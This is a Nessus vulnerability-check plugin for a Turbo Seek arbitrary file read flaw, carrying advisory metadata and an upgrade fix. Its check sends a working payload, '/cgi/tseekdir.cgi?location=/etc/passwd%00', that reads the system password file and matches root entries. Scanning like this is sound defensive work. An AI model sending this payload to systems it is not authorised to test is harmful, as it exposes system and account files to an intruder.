The remote host is running Turbo Seek, a search engine and directory tool.
The version of this software running on the remote host has a vulnerability that allows a remote attacker to read arbitrary files from the remote system.
#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#
include('deprecated_nasl_level.inc');
include('compat.inc');
if (description)
{
script_id(14719);
script_version("1.19");
script_bugtraq_id(11163);
script_name(english:"Turbo Seek tseekdir.cgi location Parameter Arbitrary File Access");
script_set_attribute(
attribute:"synopsis",
value:
"A web application on the remote host has an arbitrary file read
vulnerability."
);
script_set_attribute(
attribute:"description",
value:
"The remote host is running Turbo Seek, a search engine and directory
tool.
The version of this software running on the remote host has a
vulnerability that allows a remote attacker to read arbitrary files
from the remote system."
);
script_set_attribute(
attribute:"see_also",
value:"https://seclists.org/bugtraq/2006/May/158"
);
script_set_attribute(
attribute:"see_also",
value:"https://seclists.org/bugtraq/2006/May/184"
);
script_set_attribute(
attribute:"solution",
value:"Upgrade to version 1.7.2 or later."
);
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
script_set_attribute(attribute:"exploit_available", value:"true");
script_set_attribute(attribute:"plugin_publication_date", value: "2004/09/14");
script_set_attribute(attribute:"vuln_publication_date", value: "2004/09/12");
script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();
script_summary(english:"Checks for the presence of tseekdir.cgi");
script_category(ACT_ATTACK);
script_copyright(english:"This script is Copyright (C) 2004-2021 Tenable Network Security, Inc.");
script_family(english:"CGI abuses");
script_dependencie("find_service1.nasl", "http_version.nasl");
script_require_ports("Services/www", 80);
script_exclude_keys("Settings/disable_cgi_scanning");
script_require_keys("www/PHP");
exit(0);
}
#
# The script code starts here
#
include("http_func.inc");
include("http_keepalive.inc");
port = get_http_port(default:80, embedded:TRUE);
if(!get_port_state(port))exit(0);
if(!can_host_php(port:port))exit(0);
function check(loc)
{
local_var r, req;
req = http_get(item:string(loc, "/cgi/tseekdir.cgi?location=/etc/passwd%00"), port:port);
r = http_keepalive_send_recv(port:port, data:req);
if( r == NULL )exit(0);
if(egrep(pattern:"root:.*:0:[01]:.*", string:r))
{
security_warning(port);
exit(0);
}
}
foreach dir ( cgi_dirs() )
{
check(loc:dir);
}